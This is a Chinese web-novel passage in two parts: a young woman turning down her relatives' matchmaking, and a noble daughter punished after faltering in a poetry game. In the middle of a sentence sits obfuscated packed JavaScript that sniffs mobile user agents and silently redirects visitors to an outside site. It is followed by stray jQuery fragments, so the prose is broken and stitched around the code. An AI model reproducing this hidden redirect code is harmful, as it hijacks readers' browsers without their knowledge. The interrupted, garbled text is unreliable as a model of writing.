为庆祝乔迁,林国栋特意招呼了兄弟姐妹和亲近的亲戚来家暖房。
一大家子人,有打麻将的,有看电视的,有聊天的,有拿着手机打游戏的……十分热闹。
晚餐时分,饭桌坐得满满当当。
一大家子坐在一堆,话题自然而然地引到了刚刚毕业,还没有男朋友的林呦呦身上。
一位婶婶率先开口:“呦呦啊,听说你现在还没找到工作?”
“嗯。”林呦呦一边夹菜一边应了声。
“女孩子家,总这么飘着不是办法。婶子给你介绍个对象怎么样?是我一个老姐妹的儿子,父母开公司的,生意做得不小,家底厚实得很。人家说了,自己就一个儿子,要是哪家闺女嫁到他家,保准当女儿疼,以后生了孩子,立马就送两个铺面。
我看挺适合你的,你们互相看对眼了,就让我那老姐妹安排进他们公司上班。”
林呦呦扒拉着碗里的米饭,头也不抬:“谢谢婶婶,我刚毕业,不着急。”
“哎哟,条件好的小伙子抢手得很!先去见见,处着看嘛,又没让你立马结婚。”婶婶不死心:“你想想,那可是几百万的家产呢!”
“几百万的家产也和我没有关系啊。”林呦呦语气平淡。
“你这孩子,嫁过去不就是一家人了?怎么会没关系?”
“那不好说,真到了谈婚论嫁的时候,一份婚前协议下来,怎么说?”
婶婶被噎了一下,还没想好怎么接话,另一位姑姑又开口了:“你小雅姐单位有个小伙子,公务员,在实权部门,年轻有为,就是体型稍微胖了点,人绝对靠谱,我觉得和你很配。”
林呦呦继续软钉子回应:“姑姑,你太看得起我了,能在实权部门工作的,那智商和情商得有多高,我对自己还是有点数的。”
这时,一个姨婆也凑热闹:“哎,要我说,还是当兵的好!没那么多花花肠子,直来直去的更可靠,我有个外甥……”
“姨婆~”林呦呦赶紧打断:“找个当兵的男朋友和我现在单身有什么区别?”
一连串不软不硬的回绝,让席间气氛略显尴尬。
孟秋带着几分无奈和嗔怪问:“呦呦,这也不行那也不行,你倒是说说,你到底想找个什么样的?也好让婶婶姑姑们帮你参谋参谋。”
“我想找个长得好看的。”
“呦呦,找男朋友不能看脸,要看人好不好。”婶婶苦口婆心:“人品好、对你好才是最重要的!”
“人心易变。”
“那照你这么说,长得好看的更容易变心。”
“长得不好的,也会变心啊。”林呦呦轻飘飘地说道:“至少好看的,看着还赏心悦目呢。”
婶婶被这“歪理”气得提高了音量:“电视上那些明星好看,你去跟他们谈啊!”
姑姑赶紧打圆场:“呦呦,眼光还是要实际点,女孩子青春短,挑花了眼,以后年纪大了更不好找。”
“我也可以不结婚。”
“好好好,既然我们的关心你都当成驴肝肺,以后你的事我们再也不管了!”婶婶赌气道。
“好的呀。”林呦呦从善如流:“我的事就不劳烦婶婶姑姑们费心了。”
说完,她轻轻放下碗筷,站起身:“我吃好了,你们慢慢吃。”
新家的卧室宽敞明亮,古筝和书桌被安置到了隔壁的房间。
林呦呦关上房门,倒在自己新买的床上。
一米五的床就是比一米二的床更好打滚。
在床上滚了两圈,林呦呦抱着被子开始发呆。
也不知道那个人现在在哪?
他长得这么好看,给他介绍女朋友的人一定会更多吧。
这么久没有梦到他,是因为他已经有女朋友了吗?
林呦呦把脑袋埋进枕头里,沮丧地想着。
晚些时候,孟秋推开林呦呦的房门走了进来。
“呦呦,你今天说话太冲了,婶婶姑姑她们也是为你好。”
“我知道是好意,可是我不喜欢。”
孟秋在林呦呦床边坐下,试探着问:“你跟妈说实话,是不是……在网上谈了?”
“没有。”
“你之前不是在网上谈了个西海的吗?怎么后来就没下文了?”
“嗯,没见着面,不了了之了。”
“那你想什么时候才找个男朋友?”
“等缘分。”
孟秋无语地看着女儿。
“哎呀,我的事,你们就不要操心了,你快出去打麻将吧!”林呦呦双手轻轻推着孟秋出房门。
送走母亲,林呦呦重新倒回床上。
窗外,夜风送来阵阵沁人心脾的桂花幽香。
晚饭没吃几口的她,此刻胃里开始唱起空城计。
林呦呦摸过手机,打开群聊:“深夜放毒,有没有要出来吃辣鸡脚。”
很快,两条消息几乎前后脚发过来。
赵晓晞:“睡早了……”
温知夏:“打游戏……”
林呦呦:“你们还真是拒绝得整整齐齐。”
……
暮春的风拂过宫苑,带来白日里最后一丝暖意。
萧枕月端坐在回府的青绸马车里,眼帘低垂,指尖无意识地蜷缩。
车厢微微摇晃,她的脑子里空空荡荡,只剩下宴席上那些看戏的目光,以及母亲那压抑着怒气的一瞥。
半个时辰前,在永宁长公主别苑设的春日宴上。
溪水清浅,蜿蜒流过奇石之间,两岸嘉木葱茏,春花烂漫。
锦衣华服的贵女们依水迤逦而坐,衣香鬓影,笑语盈盈。
侍女们将盛了酒的羽觞放入上游,任由它顺着水流漂荡,若是停驻在谁的面前,便需应景赋诗一首。
吟诗作对,萧枕月最怕这个。
她的目光掠过潺潺流水、岸边新柳、春花初绽、天际流云……萧枕月搜肠刮肚,那些被反复灌输、刻入骨髓的诗词章句,能想到很多,却没有一句真正属于她自己。
就在这时,那青釉耳觞在萧枕月恍神的时候,不偏不倚地停在了她面前。
席间所有人的目光都聚焦在这位京中颇负盛名的才女身上。
萧枕月的脑子却“嗡”的一声,变成了一片空白。
她直勾勾地盯着觞中随着酒液微微荡漾的一片粉色花瓣,那一点红,像极了小时候学不会吟诗时,被戒尺打在手心渗出的血点。
四周响起恰到好处的轻笑与低语,带着名门闺秀特有的、矜持的期待与催促意味。
“萧妹妹,请吧。”不知是谁开口柔声催促。
时间在寂静中流淌,比溪水更让人心慌。
萧枕月感到母亲投来的视线,锐利得像针。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416496|184547||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苍白着脸,艰涩地开口吟了两句算不得出彩也挑不出大错的诗。
尾音落下,是一片微妙的寂静。
萧枕月甚至能听到母亲手中的茶杯盖发出的刺耳轻响。
片刻,萧枕月才勉强拼凑出后面两句来。
“萧家妹妹。”一个清凌凌的声音响起,是素来与她家不甚和睦的御史中丞家千金,她嘴角噙着若有若无的笑:“这‘流觞’之趣,在于兴之所至,一气呵成。妹妹这般……可是近日疏于功课了?”
轻飘飘的一句话,却像一记耳光,扇在她脸上,火-辣辣的疼。
话里话外,都在说她学艺不精。
主位的永宁长公主雍容地打了个圆场:“年轻人偶有失手也是常情,罢了罢了。斟三杯酒给萧姑娘,也算小惩大诫。”
侍女端着一个红漆木盘,上面放着三只小小的银杯,走到萧枕月面前。
萧枕月低下头,接过那象征惩罚的酒杯,指尖冰凉。
……
马车回府,沈听筠并未让萧枕月回岁寒轩。
而是带她穿过重重庭院,径直来到府中最为僻静的一处阁楼。
这里被布置成小书房中,三面皆是书架,堆满了书籍,中间摆着一套红木桌椅。
窗外暮色渐浓,更显得室内光线晦暗,空气凝滞得可怕。
“跪下。”
沈听筠的声音没有半分温度。
萧枕月依言跪下。
“错在哪了?”沈听筠居高临下地睨着她,眼神里是毫不掩饰的失望与严厉。
萧枕月嘴唇动了动,却发不出声音。
“我与你父亲,耗费无数心血,花重金请名师,寻人苦心造势,逼你读书习字,吟诗作画,为的就是让你在今日这等场合,给人落下‘学艺不精’的口实?”
萧枕月听见自己用细若蚊蚋的声音呢喃:“可我……本就不是什么才女啊……”
她知道,父母也心知肚明,她根本担不起这才女之名。
她没有天赋,甚至可以说愚钝。
这才女之名,是从懵懂幼童时起,是从用无数个日夜的苦熬、戒尺的责罚、冷眼的威慑,一点点强行堆砌出来的空壳。
而做这一切,也并非为了她自身的前程,只是为了妆点家族的门面,一个有才气的千金,才能在未来的联姻中,置换更有价值的资源。
萧枕月的声音很轻,但沈听筠却听得清清楚楚。
“顶撞父母,不知悔改!”沈听筠的声音陡然拔高:“看来是平日对你太过宽纵!才让父母对你多年的精心栽培,被你一句轻飘飘的‘不是才女’带过!从今日起,你不得踏出这楼阁半步,再加抄《女诫》《女论语》各二十遍!”
顿了顿,沈听筠继续道:“等过几日,我同你父亲重新为你物色一个更严厉的老师,定要教你学会这吟诗作对!”
书房的门在身后合拢,隔绝了外界的一切。
摇曳的烛火下,惩罚用的宣纸堆了厚厚的一摞。
蘸饱了墨汁的毛笔在宣纸一笔一划落下。
眼前的字迹渐渐模糊,温热的液体不受控制地涌出眼眶,滴落在刚刚写好的娟秀字迹上。
墨迹瞬间被泪水晕染开,化作一个个墨团。
萧枕月放下毛笔,抬起手拭去眼角泪花,将这张抄满但是废了的宣纸揉成一团扔掉,重新取下一张宣纸,继续抄写……